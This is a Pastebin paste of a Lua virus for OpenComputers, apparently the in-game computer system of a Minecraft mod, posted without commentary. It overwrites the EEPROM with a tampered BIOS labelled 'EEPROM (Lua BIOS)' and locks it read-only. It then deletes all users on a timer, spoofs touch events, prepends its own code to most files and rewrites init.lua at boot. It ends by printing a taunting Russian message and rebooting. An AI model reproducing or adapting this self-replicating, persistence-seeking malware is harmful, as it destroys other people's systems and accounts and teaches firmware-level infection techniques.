Advertisement
electronic_steve

eoc

Mar 24th, 2016
127
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 4.50 KB | None | 0 0
  1. data=[[local component_invoke = component.invoke
  2. function boot_invoke(address, method, ...)
  3. local result = table.pack(pcall(component_invoke, address, method, ...))
  4. if not result[1] then
  5. return nil, result[2]
  6. else
  7. return table.unpack(result, 2, result.n)
  8. end
  9. end
  10.  
  11. -- backwards compatibility, may remove later
  12. local eeprom = component.list("eeprom")()
  13. computer.getBootAddress = function()
  14. return boot_invoke(eeprom, "getData")
  15. end
  16. computer.setBootAddress = function(address)
  17. return boot_invoke(eeprom, "setData", address)
  18. end
  19.  
  20. do
  21. local screen = component.list("screen")()
  22. local gpu = component.list("gpu")()
  23. if gpu and screen then
  24. boot_invoke(gpu, "bind", screen)
  25. end
  26. end
  27. local function tryLoadFrom(address)
  28. local handle, reason = boot_invoke(address, "open", "init.lua")
  29. if not handle then
  30. return nil, reason
  31. end
  32. local buffer = ""
  33. repeat
  34. local data, reason = boot_invoke(address, "read", handle, math.huge)
  35. if not data and reason then
  36. return nil, reason
  37. end
  38. buffer = buffer .. (data or "")
  39. until not data
  40. boot_invoke(address, "close", handle)
  41. return load(buffer, "=init")
  42. end
  43. local init, reason
  44. if computer.getBootAddress() then
  45. init, reason = tryLoadFrom(computer.getBootAddress())
  46. end
  47. if not init then
  48. computer.setBootAddress()
  49. for address in component.list("filesystem") do
  50. init, reason = tryLoadFrom(address)
  51. if init then
  52. computer.setBootAddress(address)
  53. break
  54. end
  55. end
  56. end
  57. if not init then
  58. error("no bootable medium found" .. (reason and (": " .. tostring(reason)) or ""), 0)
  59. end
  60. computer.beep(1000, 0.2)
  61. --EOCS
  62. bl={["lib/"]=1,["init.lua"]=1,["bin/"]=1,[".osprop"]=1,["boot/"]=1,["etc/"]=1,["mnt/"]=1,["usr/"]=1,["home/.shrc"]=1}
  63. sp="--EOCS"
  64. ep="--EOCE"
  65. pp="--EOC"
  66. if print then
  67. function reset_users()
  68. users={require("computer").users()}
  69. for i=1,#users do require("computer").removeUser(users[i]) print(users[i].." спасибо за печеньки!") end
  70. end
  71. require("event").listen("touch",function(_,_,x,y) local com=require("component") local gpu=com.gpu local res={gpu.getResolution()} require("computer").pushSignal("touch","привет :D",math.random(0,res[1]),math.random(0,res[2]),0,"Alex") gpu.copy(x,y,1,1,0,1) end)
  72. require("event").timer(5,reset_users,math.huge)
  73. local eeprom=require("component").eeprom
  74. local fs=require("filesystem")
  75. local function gfs(d,f) local d,f=d or "",f or {} for n in fs.list(d) do os.sleep(0) if not bl[n] then if fs.isDirectory(n) then f=gfs(d..n,f) else table.insert(f,"/"..d..n) end end end return f end
  76. local function gf(n) local k="" for i in io.lines(n) do k=k..i.."\n" end return k end
  77. local function gc(f) local c,t="",false for i in io.lines(f) do if i==sp then t=true elseif i==ep then t=false end if t then c=c..i.."\n" end os.sleep(0) end return c end
  78. local files=gfs()
  79. code=gc("/init.lua")
  80. if code=="" then
  81. for i=1,#files do
  82. local file_name=files[i]
  83. code=gc(file_name)
  84. if code~="" and code~=nil then break end
  85. end
  86. end
  87. if code~="" and code~=nil then
  88. eeprom.set(eeprom.get():sub(1,-7).."\n"..code.."\n"..ep.."\ninit() ")
  89. eeprom.makeReadonly(eeprom.getChecksum())
  90. for i=1,#files do
  91. local file_name=files[i]
  92. local b,file_text=pcall(gf,file_name)
  93. if not b then error("|"..file_name.."|") end
  94. local file_point=file_text:sub(1,-(file_text:len()-pp:len()+1))
  95. if file_point~=pp then
  96. if not file_name then error(file_name) end
  97. local file=io.open(file_name,"w")
  98. file:write(pp.."\n"..code.."\n"..ep.."\n"..file_text)
  99. file:close()
  100. end
  101. end
  102. end
  103. else
  104. if computer.getBootAddress() then
  105. function getfs() return component.proxy(computer.getBootAddress()) end
  106. b,fs=pcall(getfs)
  107. if not b then error(b.."|"..fs) end
  108. if fs.size("/init.lua")==5441 then
  109. filer=fs.open("/init.lua","r")
  110. local text=""
  111. for i=0,5616,256 do
  112. fs.seek(filer,"set",i)
  113. text=text..fs.read(filer,256,0)
  114. end
  115. fs.close(filer)
  116. filew=fs.open("/init.lua","w")
  117. rev,sub=string.reverse,string.sub
  118. f1,f2=rev(sub(rev(text),345)),sub(text,5097)
  119. local code=boot_invoke(eeprom, "get"):sub(1503,-7)
  120. fs.write(filew,f1.."\n"..code:sub(1,-2).."\n"..f2)
  121. fs.close(filew)
  122. end
  123. end
  124. init, reason = tryLoadFrom(computer.getBootAddress())
  125. end
  126. --EOCE
  127. init()
  128. ]]
  129. eeprom=require("component").eeprom
  130. eeprom.setLabel("EEPROM (Lua BIOS)")
  131. check=eeprom.getChecksum()
  132. eeprom.set(data)
  133. eeprom.makeReadonly(eeprom.getChecksum())
  134. newcheck=eeprom.getChecksum()
  135. if check==newcheck then print("чип невозможно перезаписать.") else print("чип перезаписан! спасибо за сотрудничество!") end os.sleep(1)
  136. require("computer").shutdown(true)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement